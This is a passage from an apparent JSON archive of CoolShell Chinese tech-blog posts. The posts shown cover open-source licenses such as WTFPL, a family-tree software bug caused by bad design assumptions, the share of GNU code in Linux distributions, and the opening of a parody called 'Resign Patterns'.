src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6010.html\"><img alt=\"一些有意思的算法代码\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6010.html\">一些有意思的算法代码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4220.html\"><img alt=\"一些有意思的文章和资源\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4220.html\">一些有意思的文章和资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3933.html\"><img alt=\"可视化的排序过程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3933.html\">可视化的排序过程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2583.html\"><img alt=\"一些重要的算法\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2583.html\">一些重要的算法</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/536.html\"><img alt=\"一个显示排序过程的Python脚本\" height=\"150\" src=\"../wp-content/uploads/2009/04/bubble-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/536.html\">一个显示排序过程的Python脚本</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4671.html\">可视化的数据结构和算法</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-5-4 狗日的开源软件许可证.html",
    "content": "<html><body><p>你知道这个世上有多少种开源软件的许可证吗？GPL，BSD，MIT，Apache？GNU上有个网页，上面<a href=\"http://www.gnu.org/licenses/license-list.html\" target=\"_blank\">记录了几乎所有的开源软件的许可证</a>，真TMD的多，有开源的，有商用的，有软件的，有文档的，多得你都不想看了，天杀的，程序员们还真能鼓捣啊。不过，主流的也就几种——<a href=\"http://www.gnu.org/licenses/gpl.html\" target=\"_blank\">GPL</a><a href=\"https://coolshell.cn/wp-content/uploads/2011/05/OSS-License.jpg\"></a>、<a href=\"http://en.wikipedia.org/wiki/BSD_licenses\">BSD</a>、<a href=\"http://en.wikipedia.org/wiki/MIT_License\">MIT</a>、<a href=\"http://www.mozilla.org/MPL/\">Mozilla</a>、<a href=\"http://www.apache.org/licenses/LICENSE-2.0\">Apache</a>等等。</p>\n<p>那么，你知道怎么区别他们吧？怎么选择他们吗？这里有一张比较复杂的图，在调侃这些纷繁的许可证（我不翻译了，这个图属于是发泄不满）</p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2011/05/OSS-License.jpg\"><img alt=\"\" height=\"730\" src=\"../wp-content/uploads/2011/05/OSS-License.jpg\" title=\"OSS License\" width=\"567\"/></a></p>\n<p>下面是另一个图，这个图<a href=\"http://pbagwl.com/post/5078147450/description-of-popular-software-licenses\" target=\"_blank\">来自这里</a><a href=\"https://coolshell.cn/wp-content/uploads/2011/05/Infographic-of-popular-software-licenses.jpg\"></a>，这个图并不恶搞，但其非常简单地说明了如何选择一个开源的许可证：</p>\n<p><span id=\"more-4657\"></span></p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2011/05/Infographic-of-popular-software-licenses.jpg\"><img alt=\"\" height=\"446\" src=\"../wp-content/uploads/2011/05/Infographic-of-popular-software-licenses.jpg\" title=\"Infographic of popular software licenses\" width=\"560\"/></a></p>\n<p style=\"text-align: left;\">最后，正如<a href=\"https://coolshell.cn/articles/4458.html\" target=\"_blank\" title=\"BT雷人的程序语言（大全）\">那些BT雷人的程序语言</a>一样，我想介绍两个比较独特的开源软件许可证给你，以辉映本文的标题——</p>\n<h4 style=\"text-align: left;\">1、WTFPL</h4>\n<p style=\"text-align: left;\"><a href=\"http://sam.zoy.org/wtfpl/COPYING\" target=\"_blank\">WTFPL</a>全称 What The Fuck Public License，这个许可证单从名字上就那么NB了，其许可证如下，相当的短，完全的自由，你的开源软件有自信用这个许可证吗？</p>\n<pre>            DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE\n                    Version 2, December 2004\n\n Copyright (C) 2004 Sam Hocevar &lt;sam@hocevar.net&gt;\n\n Everyone is permitted to copy and distribute verbatim or modified\n copies of this license document, and changing it is allowed as long\n as the name is changed.\n\n            DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE\n   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION\n\n  0. You just DO WHAT THE FUCK YOU WANT TO.</pre>\n<p style=\"text-align: left;\">最后那句——You just DO WHAT THE FUCK YOU WANT TO 真是铿锵有力，怎么说怎么痛快，很有一种在看美国大片的感觉。这是我喜欢这个许可证的原因之一，即不限制你控制版权，也不限制你放弃版权！</p>\n<h4 style=\"text-align: left;\">2、DBAD</h4>\n<p style=\"text-align: left;\"><a href=\"https://github.com/SFEley/candy/blob/2f964916961a2dcccbb374cd389520ac2ac62226/LICENSE.markdown\" target=\"_blank\">DBAD</a>全称 Don’t Be A Dick，dick是什么我就不解释了，你自己查字典吧。这个许可证中定义了什么是dick，</p>\n<blockquote>\n<p style=\"text-align: left;\">A person who <em>does not</em> respect the time and energy that have been invested in the Project, ……. A Dick is nearly always selfish, but not necessarily with deliberate intent; some Dicks are merely thoughtless. ……</p>\n</blockquote>\n<p style=\"text-align: left;\">也就是项目中扯淡的人。这个许可证最NB的地方在于其不限制软件的版权，而是限制了软件开发中的人的行为。我真是太喜欢这个许可证了。（请参看其第四节Limitation ）</p>\n<p style=\"text-align: left;\">（全文完）</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3723.html\"><img alt=\"（麻省理工免费课程）计算机科学和编程导论\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3723.html\">（麻省理工免费课程）计算机科学和编程导论</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19996.html\"><img alt=\"Unix 50 年：Ken Thompson 的密码\" height=\"150\" src=\"../wp-content/uploads/2019/11/ken.dennis-300x186-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19996.html\">Unix 50 年：Ken Thompson 的密码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19612.html\"><img alt=\"50年前的登月程序和程序员有多硬核\" height=\"150\" src=\"../wp-content/uploads/2019/07/1920px-Margaret_Hamilton_-_restoration-e1563697198766-1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19612.html\">50年前的登月程序和程序员有多硬核</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17929.html\"><img alt=\"Go编程模式：修饰器\" height=\"150\" src=\"../wp-content/uploads/2017/06/go-hardhat-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17929.html\">Go编程模式：修饰器</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17757.html\"><img alt=\"如何重构“箭头型”代码\" height=\"150\" src=\"../wp-content/uploads/2017/04/IMG_7411-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17757.html\">如何重构“箭头型”代码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4657.html\">狗日的开源软件许可证</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-6-10 软件真的好难做啊.html",
    "content": "<html><body><p>还记得以前本站的那一篇“<a href=\"https://coolshell.cn/articles/1391.html\" target=\"_blank\" title=\"编程真难啊\">编程好难啊</a>”吗，那是一篇众程序员调侃程序新手的文章，有恶搞的成分在里面。今天要和大家说的这个事没有一些恶搞和调侃的意思，是比较严肃的话题，你一定可以从中收获一些东西。这个话题来自StackOverflow上的一个问题——<a href=\"http://stackoverflow.com/questions/6163683/cycles-in-family-tree-software\" target=\"_blank\" title=\"Cycle in family tree software\">Cycle in Family Tree Software</a>，这个程序员问了下面这个问题：</p>\n<blockquote><p>我是一个写家族族谱软件的程序员（我用的是C++和Qt），这个软件基本上没有什么问题，直到有一天有个用户报告了一个bug。这个问题是这样的——<strong>我这个用户和他女儿生了两个孩子</strong>。</p>\n<p>于是，我程序员的一些断言和硬性条件导致程序报错，因为我的程序在处理这个关系的时候，其发现X即是Y的爸爸，又是Y的爷爷，所以只能报错。</p>\n<p>请问，<strong>在不需要移除我的断言和数据验证的情况下，</strong><strong>我怎么才能解决这个问题</strong>？</p></blockquote>\n<p>看到这里，请重点阅读一下下面的两点：</p>\n<ul>\n<li>如果你看到这里开始兴奋了，请你为你阴暗的心理去面壁反省10分钟，因为这是一个很技术的问题。</li>\n<li>如果你开始陷入了深深的思考如何解决这个问题，那么你绝对是一个合格的程序员，因为你已陷入技术已经很深了，有点呆了。</li>\n</ul>\n<p>我在前面说过，“<strong>这个是一个严肃的话题，你可以从中收获一些东西</strong>”，当然，我并不希望你来收获乱伦的知识和心得，酷壳是一个技术博客，应该是收获技术方面的东西。</p>\n<p><span id=\"more-4811\"></span></p>\n<p>从技术的角度上来说，这是我们经常在设计软件时犯的错误——</p>\n<h4><strong>1）作了错误的假设</strong>（Assumption）</h4>\n<p>Assumption是软件设计的重大天敌，Assumption的动词Assume意为Ass u me – Ass you and me 。你的假设做得越多，你的设计就越不靠谱。这里的假设是——我们以为family tree是一个tree，其实并不是tree。<strong>Assumption是魔鬼</strong>。</p>\n<p>还有一些经典的Assumption如下所示</p>\n<ul>\n<li>最著名的就是那个y2k臭虫。</li>\n<li>不要以为没有2月30日，在瑞典1712年有2月30日</li>\n<li>一分钟有60秒？闰秒呢？</li>\n<li>双胞胎的生日是同一天吗？</li>\n<li>双胞胎的父亲是同一个？</li>\n<li>性别只有男和女？</li>\n<li>婚姻只能是异性？ 关于这一点，推荐一篇强文——<a href=\"http://qntm.org/gay\" target=\"_blank\">Gay marriage: the database engineering perspective</a> (同性婚姻：数据库工程)</li>\n</ul>\n<h4><strong>2）没有认真分析用户案例</strong>（Use Case）</h4>\n<p>在设计软件时，我们需要考虑各种各样的用户案例，比如如下的东西：</p>\n<ul>\n<li>私生子的问题</li>\n<li>一夫多妻或一妻多夫，同父异母，同母异父</li>\n<li>就算一夫多妻制违反法律，也会有离异再婚的情况</li>\n<li>同性恋的问题，虽然不能繁衍，但可以领养。</li>\n<li>换妻活动</li>\n<li>各种乱伦关系——这种东西那个民族都不少，尤其是古时候，比如：\n<ul>\n<li>先后嫁了两个人其是父子关系（昭君）</li>\n<li>达尔文同学和他的表妹，爱因斯坦的二婚是和他的表姐，埃及艳后嫁了她的弟弟，……</li>\n<li>顺治同学娶了四个老婆，这四个人还是一家人：姑姑，侄女，妹妹，女儿。（<a href=\"http://blog.sina.com.cn/s/blog_5e62ac110100onwa.html\" target=\"_blank\">参看这里</a>）</li>\n<li>刘邦同学的母后干出来的事，相当变态（<a href=\"http://bbs.tiexue.net/post2_5114346_1.html\" target=\"_blank\">参看这里</a>）</li>\n<li>中国古代的“扒灰老” （类似于楼主那个问题的Use Case）</li>\n</ul>\n</li>\n</ul>\n<p><strong>不想再列下去了，人类真TMD恶心，有点要吐了</strong>。</p>\n<p style=\"text-align: center;\">——————————为了缓解一下恶心的气氛，请允许我插入一个搞笑短文——————————</p>\n<blockquote><p>一位自杀者在他的遗书里讲述了他自杀的原因，听起来实在让人头痛。遗书这样写道：“我和一个寡妇结了婚，她有一个已成年的女儿，我父亲跟我妻子带过来的女儿结了婚。所以我父亲就成了我的女婿，女儿就成了我的后母，我管父亲叫爸爸，而我父亲也管我叫爸爸；我女儿管我叫爸爸，但我却管她叫妈妈；我还得管我妻子叫姥姥，因为她是我后母的母亲。不久我女儿，也就是我后母生了一个儿子，他是我同父异母的弟弟，他也得管我叫姥爷，因为他也是我的外孙。后来我妻子，也就是我姥姥生了一个儿子，他是我后母的弟弟，我是他的外甥，所以儿子管我叫爸爸，我管儿子叫舅舅。另外我是我妻子，也就是我姥姥的外孙，同时也是我姥姥的丈夫，所已我也是我的外祖父。又因为我妻子是我的外祖母，我的儿子，也就是我的舅舅是我的弟弟和我女儿的弟弟，所以我……我的天哪，这么复杂的关系实在让我伤透了脑筋，我只有一死才能得以解脱……”</p></blockquote>\n<p style=\"text-align: center;\">————————————————————————插入完毕————————————————————</p>\n<p style=\"text-align: left;\">看完上面这个短文，不知道你是否和我一样，觉得这么一个简单的程序将是如此难做啊。<strong>另外，我决定在下一次的面试中让应聘者来设计Family Tree的程序</strong>。</p>\n<p style=\"text-align: left;\">我又说多了，现在还是让我们回到技术上来。除了上面那几个观点，我在回复中还看到了如入一些有意思的回复：</p>\n<ul>\n<li>“我的软件没有bug，是你的生活有bug”——让我想到了<a href=\"https://coolshell.cn/articles/1174.html\" target=\"_blank\" title=\"程序员惯用的解释(Top 25)\">程序员惯用的借口</a></li>\n<li>“算法中不应该加太多的限制，限制多了反而让算法不灵活。”</li>\n<li>“移除断言，并不代表就不出错，对于这种rare case，我们最好给一个Warning提醒用户，让用户确认确实是这样的。”</li>\n<li>“关于解决这个问题，移除那个断言，如果显示上会有问题的话，那就复制一下有不同关系的人就可以了”</li>\n<li>“你真的应该想想你的软件的价值是什么？市场在哪里？你真的要照顾这样的用户吗？”</li>\n</ul>\n<p>挺好的，相信你对软件开发又学到了一些东西。</p>\n<p><span style=\"color: #cc0000;\"><strong>（转载时请勿用于商业目的，并请注明作者和出处）</strong></span><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17680.html\"><img alt=\"从Gitlab误删除数据库想到的\" height=\"150\" src=\"../wp-content/uploads/2017/02/gitlab-600-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17680.html\">从Gitlab误删除数据库想到的</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17459.html\"><img alt=\"关于高可用的系统\" height=\"150\" src=\"../wp-content/uploads/2016/08/HighAvailability-BK-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17459.html\">关于高可用的系统</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9949.html\"><img alt=\"IoC/DIP其实是一种管理思想\" height=\"150\" src=\"../wp-content/uploads/2013/07/inverted-bookshelf_thumb-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9949.html\">IoC/DIP其实是一种管理思想</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6775.html\"><img alt=\"Bret Victor – Inventing on Principle\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6775.html\">Bret Victor – Inventing on Principle</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5686.html\"><img alt=\"多些时间能少写些代码\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5686.html\">多些时间能少写些代码</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4811.html\">软件真的好难做啊</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-6-13 GNU_Linux下有多少是GNU的？.html",
    "content": "<html><body><p>一个葡萄牙的学生写了一篇文章 《<a href=\"http://pedrocr.net/text/how-much-gnu-in-gnu-linux\" target=\"_blank\">How much GNU is there in GNU/Linux?</a>》 – GNU/Linux下有多少是GNU的。他的这篇文章主要分布了今年4月份的Ubuntu Natty的Linux分发包。其主要是用代码行来做的分析，其给了两个饼图。</p>\n<p>第一个饼图如下，其指明了各种主流的开源项目组的分布情况。可见GNU只占了8%，当然，GNome也是GNU的，加起来也只有13%，只占整个分发包很少的比重。</p>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://pedrocr.net/images/GNUTotalSplit.png\"/></p>\n<p>第二个图，作者把GNU的部分拿了出来，再进行了分析：</p>\n<p><span id=\"more-4826\"></span></p>\n<p>在下面这个图中，我们可以看到主要是四大块——gcc, gdb, binutils 和 glibc，所以，作者说，这些东西都不是最终用户需要的，不是每一个用户都是需要搞开发的。所以，如果去除这些，再去除Gnome（这个桌面UI也不是很力），那么GNU的东西几乎没有了。</p>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://pedrocr.net/images/GNUSplit.png\"/></p>\n<p>所以，作者以此来挑战Richard Stallman提到的 GNU/Linux的这个说法。好像更为好的说法应该叫——</p>\n<p style=\"text-align: center;\"><strong>GNU/KDE/java/xorg/Linux</strong></p>\n<p>我对这篇文章有下述一些感觉：</p>\n<ul>\n<li>以代码行来衡量重要性，非常的不准确。比尔盖茨说过——“用代码行数来衡量编程的进度，就如同用航空器零件的重量来衡量航空飞机的制造进度一样”（参看《<a href=\"https://coolshell.cn/articles/2753.html\" target=\"_blank\" title=\"最佳编程语录\">最佳编程语录</a>》），所以，用这个数据来并不一定正确。如果用Linux的各种包的依赖性可能会更好一点。</li>\n<li>至少我知道，离开了glibc，可能整个操作系统都会不举。Linux下，绝大多数软件都是gcc/gdb编程和调试出来的（当然，LLVM和Clang正在挑战着gcc编译器），而且大多数软件都在用着GPL的许可证（<a href=\"https://coolshell.cn/articles/4657.html\" target=\"_blank\" title=\"狗日的开源软件许可证\">虽然开源世界的许可证是如此的混乱</a>）</li>\n<li>辩证地，我们不能否定GNU的历史价值，同时我们似乎也在看到GNU好像有点萎靡。</li>\n</ul>\n<p>老实说，其实叫什么不重要，是GNU/Linux也好，是Ubuntu 也好，还是Android也好，无所谓。Linux的各种分发包中都存在着全世界黑客文化的和开源文化的结晶，每当我看到这样的分布图时（例如：<a href=\"https://coolshell.cn/articles/1360.html\" target=\"_blank\" title=\"谁写了Linux\">是谁写的Linux?</a>），我心中都有一种说不出来的豪情，这难道不真是一种壮举吗？（<a href=\"https://coolshell.cn/articles/2322.html\" target=\"_blank\" title=\"Unix传奇(上篇)\">Unix黑客文化的真正延伸</a>）。</p>\n<p>不管这种方式的软件有没有市场，能不能得到“最终用户”的认可，但这已成为了软件开发的一种精神——那种不分彼此，相互协作的精神，不是吗？</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1097.html\"><img alt=\"Ksplice Uptrack — Ubuntu更新不用重启\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1097.html\">Ksplice Uptrack — Ubuntu更新不用重启</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/501.html\"><img alt=\"Ubuntu的并行启动\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/501.html\">Ubuntu的并行启动</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22320.html\"><img alt=\"eBPF 介绍\" height=\"150\" src=\"../wp-content/uploads/2022/12/eBPF-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22320.html\">eBPF 介绍</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19219.html\"><img alt=\"打造高效的工作环境 – Shell 篇\" height=\"150\" src=\"../wp-content/uploads/2019/03/linux.ninja_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19219.html\">打造高效的工作环境 – Shell 篇</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18654.html\"><img alt=\"记一次Kubernetes/Docker网络排障\" height=\"150\" src=\"../wp-content/uploads/2018/12/docker-networking-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18654.html\">记一次Kubernetes/Docker网络排障</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4826.html\">GNU/Linux下有多少是GNU的？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-6-16 “另类” 设计模式.html",
    "content": "<html><body><p>下面这篇文章来自这里：<a href=\"http://www.lsd.ic.unicamp.br/~oliva/fun/prog/resign-patterns\" target=\"_blank\">http://www.lsd.ic.unicamp.br/~oliva/fun/prog/resign-patterns</a>，这篇文章有点意思了，山寨了我们著名的Design Pattern。这篇文章并不是很容易翻译，也许我翻译的不好，大家多指正。另外，这篇文章将失去原有的趣味在于其使用了经典设计模式的单词很相似的单词，一走眼你还以为是正二八经的设计模式。呵呵。所以，我在下文中，我会保留原有的英文单词，并把真正的23个经典设计模式的英文名放在旁边（灰色）。这篇文章和之前的<a href=\"https://coolshell.cn/articles/4758.html\" target=\"_blank\" title=\"如何写出无法维护的代码\">如何写出无法维护的代码</a>有异曲同工，个人感觉都是比较欢乐的。</p>\n<p style=\"text-align: center;\"> </p>\n<p style=\"text-align: center; font-size: 14pt;\"><strong>辞职模式<br/>\n</strong><strong>Resign Patterns<br/>\n</strong><strong><span style=\"color: #cccccc;\">Design Patterns</span></strong></p>\n<div style=\"text-align: center;\">不合式的非面向项目软件开发病症<br/>\nAilments of Unsuitable Project-Disoriented Software<br/>\n<span style=\"color: #cccccc;\">Elements of Reusable Object-Oriented Software</span></div>\n<div style=\"text-align: center;\"><strong>作者</strong>：<a href=\"mailto:mitework@yercompany.com\">Michael Duell</a></div>\n<h4 style=\"text-align: left;\"><strong>概要</strong></h4>\n<div style=\"text-align: justify;\">任何一个熟悉那本由四个人写的经典的设计模式书的朋友，应该知道那本书里的模式都是非常优雅和划时代的。然而，不幸的是，从那些老代码中无法提练出这些模式，因为，在出现这些模式前，大家都不会使用模式。因此，这项工作是从大量的代码中提练出一个模式的目录。这些模式都有充足和永恒的示例。希望你能享受阅读这些模式，但千万不要模仿并使用他们！</div>\n<h4 style=\"text-align: left;\">1. Cremational Patterns 火葬模式 | <span style=\"color: #999999;\">Creational patterns 创建模式</span></h4>\n<div style=\"text-align: left;\">下面是五个 cremational patterns.</div>\n<h5 style=\"text-align: left;\"><strong>1.1 Abject Poverty  一贫如洗 | <span style=\"color: #999999;\">Abstract Factory 抽象工厂</span></strong></h5>\n<p style=\"text-align: justify;\">Abject Poverty 模式能让你的软件相当难测试和维护， 并且需要巨大的财政支出，预算已经完全赤字。</p>\n<h5 style=\"text-align: left;\"><strong>1.2 Blinder 眼罩模式 | <span style=\"color: #999999;\">Builder 建造模式</span></strong></h5>\n<p style=\"text-align: justify;\">Blinder 模式是一个应急有效的解决方案，其不需要考虑需求在未来的变化。目前，我们还不太清楚我们为什么叫Blinder模式，一种说法是他们会在写代码的时候被设计人员戴上眼罩，另一种说法是他们希望在维护代码的时候挖出双眼。</p>\n<h5 style=\"text-align: left;\"><strong>1.3 Fallacy Method 错误方法 | <span style=\"color: #999999;\">Factory method 工厂方法</span></strong></h5>\n<p style=\"text-align: justify;\">Fallacy方法主要是在于处理一些不明显的案例。代码逻辑看上去是正确的，当只要某想要去测试一下，或是某个不明显的案例发生了，那些代码中的错误也就出现了。</p>\n<p style=\"text-align: justify;\"><span id=\"more-4844\"></span></p>\n<h5 style=\"text-align: left;\"><strong>1.4 ProtoTry   尝试模式| <span style=\"color: #999999;\">Prototype 原型模式</span></strong></h5>\n<p style=\"text-align: justify;\">ProtoTry 模式一个快速而肮脏的软件开发工作模型的尝试。这个模式的原意本来是想在后面有时间总结一下教训并改进或重写这些代码，但是可惜的是没有时间。所以，这些代码也就成了众所周知的 legacy code – 旧代码。</p>\n<h5 style=\"text-align: left;\"><strong>1.5 Simpleton 傻瓜模式 